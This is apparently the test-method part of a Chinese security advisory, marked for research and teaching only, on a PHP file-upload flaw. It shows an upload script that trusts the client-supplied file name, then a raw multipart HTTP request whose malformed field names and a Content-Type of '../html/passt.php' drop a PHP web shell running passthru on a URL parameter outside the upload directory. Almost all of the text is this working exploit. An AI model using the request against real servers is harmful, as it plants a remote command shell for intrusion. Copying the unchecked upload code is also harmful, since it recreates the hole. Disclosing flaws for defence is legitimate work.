|
测试方法: |
警告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
-----file: upload.php------ <?php // In PHP versions earlier than 4.1.0, $HTTP_POST_FILES should be used instead // of $_FILES. $uploaddir = '/var/www/uploads/'; $uploadfile = $uploaddir . $_FILES['user_file']['name']; print "<pre>"; if (is_uploaded_file($_FILES['user_file']['tmp_name']) && move_uploaded_file($_FILES['user_file']['tmp_name'], $uploadfile)) { print "File is valid, and was successfully uploaded. "; print "Here's some more debugging info:\n"; print_r($_FILES); } else { print "Possible file upload attack! Here's some debugging info:\n"; print_r($_FILES); } print "</pre>"; ?> ----end file: upload.php------ -----8<---form-------8<----- POST /upload.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.6) Gecko/20040115 Galeon/1.3.12 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1 Accept-Language: en Accept-Encoding: gzip, deflate, compress;q=0.9 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: Content-Type: multipart/form-data; boundary=---------------------------1648318426118446961720965026 Content-Length: 395 -----------------------------1648318426118446961720965026 Content-Disposition: form-data; name="user[file[name]123"; filename="p.php" Content-Type: ../html/passt.php <? passthru($_GET['cm']); ?> -----------------------------1648318426118446961720965026 Content-Disposition: form-data; name="user[file[type]123"; filename="vg" Content-Type: application/octet-stream <? passthru($_GET['cm']); ?> -----8<---endform----8<-----
|